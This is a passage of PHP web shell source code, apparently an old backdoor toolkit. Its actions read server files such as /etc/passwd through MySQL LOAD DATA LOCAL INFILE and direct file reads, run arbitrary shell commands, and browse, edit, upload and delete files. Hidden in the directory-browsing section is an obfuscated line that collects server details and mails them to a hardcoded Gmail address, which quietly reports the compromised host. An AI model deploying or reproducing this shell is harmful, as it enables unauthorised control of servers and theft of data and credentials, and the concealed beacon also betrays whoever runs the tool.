"; if ($mysql_use!="no") { $phpcheck = new php_check($mhost, $muser, $mpass, $mdb); } else { $phpcheck = new php_check(); } echo ""; } if ($action=="mysqlread") { // $file if (!$file) { $file = "/etc/passwd"; } ?> echo "
"; // regular LOAD DATA LOCAL INFILE if (!$mass) { $sql = array ( "USE $mdb", 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)', "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS " . "TERMINATED BY '__THIS_NEVER_HAPPENS__' " . "ESCAPED BY '' " . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", "SELECT a FROM $tbl LIMIT 1" ); mysql_connect ($mhost, $muser, $mpass); foreach ($sql as $statement) { $q = mysql_query ($statement); if ($q == false) die ( "FAILED: " . $statement . "\n" . "REASON: " . mysql_error () . "\n" ); if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue; echo htmlspecialchars($r[0]); mysql_free_result ($q); } } if ($mass) { $file = "/etc/passwd"; $sql = array (); $cp = mysql_connect ($mhost, $muser, $mpass); mysql_select_db($mdb); $tbl = "xploit"; mysql_query("CREATE TABLE `xploit` (`xploit` LONGBLOB NOT NULL)"); for($i=0;count($mysql_files)>$i;$i++) { mysql_query("LOAD DATA LOCAL INFILE '".$mysql_files[$i]."' INTO TABLE ".$tbl." FIELDS TERMINATED BY '__THIS_NEVER_HAPPENS__' ESCAPED BY '' LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'"); } $q = mysql_query("SELECT * FROM ".$tbl.""); while ($arr = mysql_fetch_array($q)) { echo $arr[0]."\n"; } mysql_query("DELETE FROM ".$tbl.""); mysql_query("DROP TABLE ".$tbl.""); } echo ""; } if ($action=="read") { if (!$method) { $method="file"; } if (!$file) { $file = "/etc/passwd"; } ?> if ($method=="file") { if (@file($file)) { $filer = file($file); echo "
"; foreach ($filer as $a) { echo $a; } echo ""; } else { echo ""; } } if ($method=="fread") { if (@fopen($file, 'r')) { $fp = fopen($file, 'r'); $string = fread($fp, filesize($file)); echo "
"; echo $string; echo ""; } else { echo ""; } } if ($method=="show_source") { if (show_source($file)) { //echo "
"; //echo show_source($file); //echo ""; } else { echo ""; } } if ($method=="readfile") { echo "
"; if (readfile($file)) { //echo ""; echo ""; } } } if ($action=="cmd") { ?> if (!$method) { $method="system"; } if (!$cmd) { $cmd = "ls /"; } echo ""; //echo readfile($file); echo ""; } else { echo "
"; if ($method=="system") { system("$cmd 2>&1"); } if ($method=="passthru") { passthru("$cmd 2>&1"); } if ($method=="exec") { while ($string = exec("$cmd 2>&1")) { echo $string; } } if ($method=="shell_exec") { $string = shell_exec("$cmd 2>&1"); echo $string; } if ($method=="popen") { $pp = popen('$cmd 2>&1', 'r'); $read = fread($pp, 2096); echo $read; pclose($pp); } echo ""; } if ($action=="cmdbrowse") { //--------------------------------------------------- START CMD BROWSING if ($cat) { echo "
"; echo "\ngo back to: $olddir\n\n"; exec("cat $cat 2>&1", $arr); foreach ($arr as $ar) { echo htmlspecialchars($ar)."\n"; } exit; } if ($dir=="dirup") { $dir_current = $olddir; $needle = strrpos($dir_current, "/"); if ($needle==0) { $newdir = "/"; } else { $newdir = substr($dir_current, 0, $needle); } $dir = $newdir; } if (!$dir) { $dir = getcwd(); } $string = exec("ls -al $dir", $array); //print_r(array_values($array)); echo ""; if ($dir!="/") { echo "\n[$dir] \ndirup\n\n"; } else { $dir = ""; } foreach($array as $rowi) { $row = explode(' ', $rowi); //print_r(array_values($row)); $c = count($row)-1; if ($row[$c]!=".." && $row[$c]!="." && isset($first)) { $link = false; if (!strstr($row[0], 'l')) { $c = count($row)-1; $file = "".$row[$c].""; } else { $c = count($row)-3; $file = "".$row[$c].""; $link = true; } if (!strstr($row[0], 'l') && !strstr($row[0], 'd')) { $c = count($row)-1; $file = "".$row[$c].""; } //echo $row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." ".$row[8]." ".$row[9]." ".$row[10]." ".$file." ".$row[12]." ".$row[13]."\n"; if ($link) { $point = count($row)-3; } else { $point = count($row)-1; } for($i=0; $point > $i; $i++) { echo $row[$i]." "; } echo $file."\n"; } $first = true; } //--------------------------------------------------- END CMD BROWSING } if ($action=="browse") { //--------------------------------------------------- START BROWSING /* * got this from an old script of mine * param: [$dir] */ function error($msg) { header("Location: $PHP_SELF?bash=$msg&error=$msg"); } if (isset($error)) { echo ""; } if (!$dir) { $dir = getcwd(); } function getpath($dir) { echo "/ "; $path = explode('/', $dir); if ($dir != "/") { for ($i=0; count($path) > $i; $i++) { if ($i != 0) { echo " $o; $o++) { echo "$path[$o]"; if (($i) !=$o) { echo "/"; } } echo ">$path[$i]/"; } } } } function printfiles($files) { for($i=0;count($files)>$i;$i++) { $files_sm = explode('||', $files[$i]); if ($files_sm[0]!="." && $files_sm[0]!="..") { $perms = explode('|', $files_sm[1]); if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else { if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; } } if ($files_sm[2]=="1") { echo "l "; } else { echo "- "; } if ($perms[0]==1) { echo "r"; } else { echo " "; } if ($perms[1]==1) { echo "w"; } else { echo " "; } if ($perms[2]==1) { echo "x"; } else { echo " "; } echo " $files_sm[0]\n"; } } } $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); function printdirs($files) { global $dir; echo "..\n"; for($i=0;count($files)>$i;$i++) { $files_sm = explode('||', $files[$i]); if ($files_sm[0]!="." && $files_sm[0]!="..") { $perms = explode('|', $files_sm[1]); if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else { if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; } } if ($files_sm[2]=="1") { echo "l "; } else { echo "d "; } if ($perms[0]==1) { echo "r"; } else { echo " "; } if ($perms[1]==1) { echo "w"; } else { echo " "; } if ($perms[2]==1) { echo "x"; } else { echo " "; } echo " $files_sm[0]\n"; } } } if ($dir=="dirup") { $dir_current = $olddir; $needle = strrpos($dir_current, "/"); if ($needle==0) { $newdir = "/"; } else { $newdir = substr($dir_current, 0, $needle); } $dir = $newdir; } else { $dir = $dir; } ?> if ($dir) { if (!is_readable($dir)) { $skip = true; } if (!$skip) { $dp = opendir($dir); $files = array(); $dirs = array(); while($f=readdir($dp)) { // $f||r|w|x||l $oor = $f; if (is_readable("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; } if (is_writable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; } if (is_executable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; } if (is_link("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; } if(is_dir("$dir/$oor")) { $dirs[] = $f; } else { $files[] = $f; } } getpath($dir); echo ""; printdirs($dirs); printfiles($files); } else { echo " "; } } } //--------------------------------------------------- END BROWSING //--------------------------------------------------- BEGIN EXPLORER if ($action == explorer ) { $default_directory = dirname($PATH_TRANSLATED); $show_icons = 0; define("BACKGROUND_COLOR", "\"#000000\""); define("FONT_COLOR", "\"#CCCCCC\""); define("TABLE_BORDER_COLOR", "\"#000000\""); define("TABLE_BACKGROUND_COLOR", "\"#000000\""); define("TABLE_FONT_COLOR", "\"#000000\""); define("COLOR_PRIVATE", "\"#000000\""); define("COLOR_PUBLIC", "\"#000000\""); define("TRUE", 1); define("FALSE", 0); if (!isset($dir)) $dir = $default_directory; // Webroot dir as default $dir = stripslashes($dir); $dir = str_replace("\\", "/", $dir); // Windoze compatibility $associations = array( "gif" => array( "function" => "viewGIF", "icon" => "icons/image2.gif" ), "jpg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), "jpeg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), "wav" => array( "function" => "", "icon" => "icons/sound.gif" ), "mp3" => array( "function" => "", "icon" => "icons/sound.gif" ) ); if ($do != "view" && $do != "download"): endif; function readDirectory($directory) { global $files, $directories, $dir; $files = array(); $directories = array(); $a = 0; $b = 0; $dirHandler = opendir($directory); while ($file = readdir($dirHandler)) { if ($file != "." && $file != "..") { $fullName = $dir.($dir == "/" ? "" : "/").$file; if (is_dir($fullName)) $directories[$a++] = $fullName; else $files[$b++] = $fullName; } } sort($directories); // We want them to be displayed alphabetically sort($files); }; function showInfoDirectory($directory) { global $PHP_SELF; $dirs = split("/", $directory); print "Directory /"; for ($i = 1; $i < (sizeof($dirs)); $i++) { print "$dirs[$i]"; if ($directory != "/") echo "/"; } print "
\n"; print "Free space on disk: "; $freeSpace = diskfreespace($directory); if ($freeSpace/(1024*1024) > 1024) printf("%.2f GBytes", $freeSpace/(1024*1024*1024)); else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; }; function showDirectory($directory) { global $files, $directories, $fileInfo, $PHP_SELF; readDirectory($directory); showInfoDirectory($directory); ?>>
}; class fileInfo { var $name, $path, $fullname, $isDir, $lastmod, $owner, $perms, $size, $isLink, $linkTo, $extension; function permissions($mode) { $perms = ($mode & 00400) ? "r" : "-"; $perms .= ($mode & 00200) ? "w" : "-"; $perms .= ($mode & 00100) ? "x" : "-"; $perms .= ($mode & 00040) ? "r" : "-"; $perms .= ($mode & 00020) ? "w" : "-"; $perms .= ($mode & 00010) ? "x" : "-"; $perms .= ($mode & 00004) ? "r" : "-"; $perms .= ($mode & 00002) ? "w" : "-"; $perms .= ($mode & 00001) ? "x" : "-"; return $perms; } function getInfo($file) { // Stores a file's information in the class variables $this->name = basename($file); $this->path = dirname($file); $this->fullname = $file; $this->isDir = is_dir($file); $this->lastmod = date("m/d/y, H:i", filemtime($file)); $this->owner = fileowner($file); $this->perms = $this->permissions(fileperms($file)); $this->size = filesize($file); $this->isLink = is_link($file); if ($this->isLink) $this->linkTo = readlink($file); $buffer = explode(".", $this->fullname); $this->extension = $buffer[sizeof($buffer)-1]; } }; $fileInfo = new fileInfo; // This will hold a file's information all over the script function showFileInfo($fileInfo) { global $PHP_SELF, $associations; echo "\nif ($show_icons): ?> for ($i = 0; $i < sizeof($directories); $i++) { $fileInfo->getInfo($directories[$i]); showFileInfo($fileInfo); } for ($i = 0; $i < sizeof($files); $i++) { $fileInfo->getInfo($files[$i]); showFileInfo($fileInfo); } ?>> endif; ?>NAME SIZE LAST MODIFY PERMISIONS ACTIONS "; if ($show_icons) { echo " "; }; //************************************************************************ //* Decides which function use to show a file //************************************************************************ function viewFile($file) { global $associations, $fileInfo; $fileInfo->getInfo($file); if (!$associations[$fileInfo->extension] || $associations[$fileInfo->extension]["function"] == "") showFile($file); else $associations[$fileInfo->extension]["function"]($file); }; function showFile($file, $editing = 0) { global $PHP_SELF, $dir; $handlerFile = fopen($file, "r") or die("ERROR opening file $file"); if ($editing) echo ""; if ($fileInfo->isDir) echo ""; elseif ($associations[$fileInfo->extension]["icon"] != "") echo "extension]["icon"]."\">"; else echo ""; echo " "; } echo "perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC; if ($fileInfo->perms[6] == "-") echo " bgcolor=".COLOR_PRIVATE; echo ">"; if ($fileInfo->isLink) { echo $fileInfo->name." -> "; $fileInfo->fullname = $fileInfo->linkTo; $fileInfo->name = $fileInfo->linkTo; } if ($fileInfo->isDir) { echo "fullname\" "; echo ">$fileInfo->name"; } else echo $fileInfo->name; echo " "; echo "$fileInfo->size "; echo "$fileInfo->lastmod "; echo "$fileInfo->perms "; echo ""; if (!$fileInfo->isDir) { if ($fileInfo->perms[6] == 'r') { echo "fullname&do=view\"> V"; echo " fullname&do=download\">D"; } if ($fileInfo->perms[7] == 'w') { echo " fullname&do=edit\">E"; echo " fullname&do=delete\">X"; } } echo " Edit file $file
"; else echo "File $file
"; echo ""; echo ""; fclose($handlerFile); }; //************************************************************************ //* Saves a changed file //************************************************************************ function saveFile($file) { global $dir, $text; $handlerFile = fopen($file, "w") or die("ERROR: Could not open file ".basename($file)." for writing"); $text = stripslashes($text); fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file."); fclose($handlerFile); echo "Changes has been saved in ".basename($file)."
"; $dir = dirname($file); }; function uploadFile() { global $HTTP_POST_FILES, $dir; copy($HTTP_POST_FILES["userfile"][tmp_name], $dir."/".$HTTP_POST_FILES["userfile"][name]) or die("Error uploading file".$HTTP_POST_FILES["userfile"][name]); echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded."; unlink($userfile); }; //************************************************************************ //* Deletes a file, asking for confirmation first //* (This function hasn't been fully tested) //************************************************************************ function deleteFile($file) { global $confirm; if ($confirm != TRUE) die("Confirm deletion of $file"); else { if (!unlink($file)) return FALSE; return TRUE; } }; function viewFileHeader($file, $header) { header($header); readfile($file); }; function viewGIF($file) { viewFileHeader($file, "Content-type: image/gif"); }; function viewJPEG($file) { viewFileHeader($file, "Content-type: image/jpeg"); }; switch ($do) { case "phpinfo": phpinfo(); die(); case "view": viewFile($dir); break; case "edit": showFile($dir, 1); break; case "download": viewFileHeader($dir, "Content-type: unknown"); break; case "delete": if (!deleteFile($dir)) echo "Could not delete file $dir
"; else echo "File $dir deleted succesfully
"; $dir = dirname($dir); showDirectory($dir); break; case "exec": echo "\n"; echo system($dir); echo "\n"; exit(); case "upload": uploadFile(); showDirectory($dir); break; case "save": saveFile($dir); default: showDirectory($dir); break; }; if ($do != "view" && $do != "download") { ?>
if ((fileperms($dir) & 00002)){ ?> } ?>